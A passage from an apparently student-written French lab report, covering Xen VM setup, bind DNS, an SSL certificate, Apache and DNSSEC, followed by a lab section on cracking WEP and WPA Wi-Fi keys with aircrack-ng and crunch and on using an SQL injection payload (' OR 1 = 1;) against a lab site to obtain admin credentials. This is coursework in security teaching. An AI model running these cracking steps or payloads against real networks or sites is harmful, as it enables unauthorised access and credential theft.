&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
